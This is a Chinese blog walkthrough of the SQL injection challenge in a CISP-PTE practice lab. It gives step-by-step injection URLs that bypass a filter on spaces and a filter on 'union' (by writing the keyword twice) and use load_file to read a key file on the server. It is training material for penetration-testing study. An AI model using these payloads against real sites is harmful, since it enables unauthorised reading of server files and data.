CISP-PTE靶场通关思路分享-SQL注入篇

发布时间 2023-03-31 18:22:40作者: 信安小萌新

pte靶场中包含5道web题

SQL注入

首先打开本地搭建的网址,发现我们需要利用SQL注入对/tmp/360/key文件进行读取,读取该文件需要使用load_file()函数,该函数是MySQL中常见内置函数。

 

 

 

进入答题后,发现由当前执行的SQL语句,按照当前执行的SQL语句对SQL语法进行闭合

 

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1%27)#        #闭合,输入#,发现#已被过滤,则用%23进行替换,发现空格也被过滤,空格的替换可以使用%0a或者/**/或者()或者+等进行替换
2 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1%27)%23    #成功闭合SQL语句

我们是用%23替换#;使用/**/替换空格,然后使用order by语法对行号进行判断,在使用union select判断显示位

首先判断行号,发现是四行

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/5%23
2 http://192.168.110.100:81/vulnerabilities/fu1.php?id=1')/**/order/**/by/**/4%23

 使用

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1')/**/union/**/select/**/1,2,3,4%23 发现union被过滤

 

 

 当过滤掉关键函数时,双写关键函数进行绕过是常见的方法之一,我们尝试双写union绕过,发现成功绕过

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1%27)/**/ununionion/**/select/**/1,2,3,4%23

 

 

 接下来需要在可以显示的位置使用load_file()函数将敏感信息显示出来

1 http://192.168.110.100:81/vulnerabilities/fu1.php?id=-1%27)/**/ununionion/**/select/**/1,2,3,load_file("/tmp/360/key")%23

显示成功: